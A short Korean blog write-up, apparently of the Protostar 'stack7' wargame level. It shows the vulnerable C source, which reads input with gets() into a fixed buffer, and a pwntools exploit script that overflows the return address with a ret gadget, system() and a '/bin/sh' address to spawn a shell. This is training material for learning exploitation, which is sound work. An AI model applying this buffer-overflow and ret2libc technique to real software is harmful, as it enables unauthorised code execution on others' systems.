Pwnable/프로토스타_시스템해킹
Protostar -stack7- ROP 공격기법
KSJ._.seven11
2023. 3. 5. 14:16
stack7 의 소스코드는 다음과 같다.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
char *getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
return strdup(buffer);
}
int main(int argc, char **argv)
{
getpath();
}
해당 문제는 ROP 공격 기법을 통해 풀어낼 수 있다.
우선 main 에서 RET 까지 오프셋을 구해보자.
libc.so.6 에서 binsh 와 system 에 주소를 불러와 RET에 OVER right 하는게 핵심 풀이 방법이다.
그렇게 작성한 페이로드는 다음과 같다.
from pwn import *
p = process('./stack7')
offset = 80
ret = p32(0x8048362)
binsh = p32(0xf7db5faa)
trash = p32(0xAAAABBBB)
systme = p32(0xf7c4c800)
payload = b'A' * offset + ret + systme +trash + binsh
p.sendline(payload)
p.interactive()
RET 값에는 그대로 덮고 이후 system + dummy + binsh 를 통해 쉘을 실행시키는 구조다.
해당 페이로드를 전송하면 쉘을 획득할 수 있다.
야호 성공이다 !